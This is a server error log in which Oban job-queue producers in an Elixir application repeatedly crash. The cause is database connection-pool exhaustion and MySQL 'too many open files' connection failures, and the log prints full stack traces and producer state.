    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:12:38.240322Z], limit: 50, uuid: "00edfea8-725a-41aa-9a61-04171b2f182f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:38.240327Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.51336>, refresh_timer: #Reference<0.2525715032.1077673987.27738>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:12:38.240385Z], limit: 20, uuid: "135af592-cd10-4f46-9a87-10276dda4969", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:38.240414Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.50699>, refresh_timer: #Reference<0.2525715032.1068498948.50698>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:50.732000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:56.373000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:57.239000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:57.854000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:59.706000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 869ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:12:50.240751Z], limit: 5, uuid: "ce560444-94bf-42b7-bb33-9ff1b573275d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:50.240755Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.51508>, refresh_timer: #Reference<0.2525715032.1077673987.27919>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:02.242000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:12:50.240687Z], limit: 3, uuid: "8e9a5a8c-fc8c-437d-92ed-685474fad704", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:50.240693Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.51509>, refresh_timer: #Reference<0.2525715032.1077673987.27915>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:02.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 878ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:12:50.241129Z], limit: 20, uuid: "9eafd3c4-d1de-4163-b8ce-7331744a0b7e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:50.241135Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.51507>, refresh_timer: #Reference<0.2525715032.1099431938.51483>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:02.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 855ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:12:50.240687Z], limit: 5, uuid: "a7519a93-6e2b-4d89-9038-5a6cf87d1017", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:50.240693Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.165576>, refresh_timer: #Reference<0.2525715032.1121189889.165548>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 873ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:12:50.240893Z], limit: 50, uuid: "8e758bc4-5545-4913-bccc-dd1370dec9d1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:50.240898Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.165577>, refresh_timer: #Reference<0.2525715032.1121189889.165556>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:02.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1066ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:12:50.240687Z], limit: 10, uuid: "124d0019-eff8-4da4-8edd-bf42795c53f0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:50.240693Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.51510>, refresh_timer: #Reference<0.2525715032.1068498948.50758>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:03.387000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:03.405000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:04.261000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:07.143000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:07.579000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:11.005000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:13:02.245153Z], limit: 3, uuid: "82640488-51bd-4563-b7b1-ffcf8086347c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:02.245159Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.165872>, refresh_timer: #Reference<0.2525715032.1077673987.28062>, dispatch_cooldown: 5, running: %{}}
